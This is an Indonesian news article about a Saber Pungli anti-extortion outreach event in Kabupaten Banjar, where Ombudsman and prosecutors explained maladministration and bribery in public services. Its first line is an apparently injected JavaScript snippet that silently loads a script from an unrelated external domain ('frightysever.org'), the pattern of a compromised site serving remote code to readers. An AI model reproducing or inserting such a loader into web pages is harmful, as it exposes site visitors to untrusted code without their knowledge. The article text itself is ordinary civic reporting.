(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Unit Pemberantasan Kegiatan Pungutan Liar (Pungli) Kabupaten Banjar dan Unit Pemberantasan Pungli (UPP) Provinsi Kalsel menggelar Sosialisasi Satgas Pungli di Aula Barakat Martapura Kabupaten Banjar, Selasa (23/10). Kegiatan ini diikuti jajaran SKPD, camat, serta kepala desa se-Kabupaten Banjar.
Sejumlah narasumber seperti Sekertaris Pokja penindakan AKBP Danang Widaryanto, Jaksa Satgasus Pemberantasan Tindak pidana Korupsi dari Kejaksaan Tinggi Kalimantan Selatan, M. Irwan, SH, MH. Ombudsman RI Perwakilan Kalsel Norhalis Majid, serta Ketua UPT Saber Pungli Kabupaten Banjar Waka Polres Banjar Kompol Joseph Edward Purba, hadir memberikan pembekalan.
Ketua Ombudsman Kalsel Norhalis Majid mengatakan, maladministrasi merupakan perilaku perbuatan melanggar hukum, melampaui wewenang, maupun penggunaan wewenang untuk tujuan lain. “Maladministrasi terjadi karena beberapa faktor di antaranya tidak tranparan dalam mengelola dana, penyimpangan prosedur, pungutan liar, perbuatan tidak patut dan perbiatan pelanggaran hukum,†ujarnya.
Nurhalis mengatakan, perbuatan korupsi dapat dipastikan selalu diawali oleh pelayanan publik yang buruk. Mengingat standar pelayanan Instrumen yang digunakan sebagai pedoman penyelenggaraan pelayanan dan acuan penilaian kualitas pelayanan sebagai kewajiban dan janji penyelenggara kepada masyarakat dalam rangka pelayanan yang berkualitas, cepat, mudah, terjangkau dan terukur.
“Komponen standar pelayanan itu contoh diantarana meliputi dasar hukum, persyaratan, system mekanisme dan prosedur, kangka waktu penyelesaian, biaya/tarif, produk pelayanan hingga evaluasi kinerja pelaksana,†jelasnya.
Di sisi lain, Satuan Tugas Khusus (Satgassus) Pemberantasan Tindak Pidana Korupsi Pada Bidang Pidana Khusus Kejaksaan Tinggi Kalsel M Irwan mengatakan, area rawan korupsi meliputi kegiatan pengadaan barang dan jasa pemerintah, keuangan dan perbankan, perpajakan, badan usaha milik negara/ Daerah pertambangan, pelayanan umum dan masih banyak lagi.
“Pelayanan umum atau Public services merupakan salah satu sektor yang rawan terhadap praktek korupsi, yang biasanya melibatkan penyelenggara negara di bidang pelayanan umum dan pengguna layanan, dalam hal ini terjadi tindak pidana suap,†jelas Irwan.
Adapun modus operandi itu meliputitTindak pidana penyuapan, berupa penyelenggara layanan menyalahi prosedur dalam menerbitkan ijin atau rekomendasi kepada pengguna layanan,pengguna layanan menyadari dirinya tidak layak untuk mendapatkan izin atau rekomendasi. Termasuk pula, penyelenggara layanan menerima sesuatu atau janji dari pengguna layanan, sementara pengguna layanan memberikan sesuatu atau janji kepada penyelenggara layanan. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.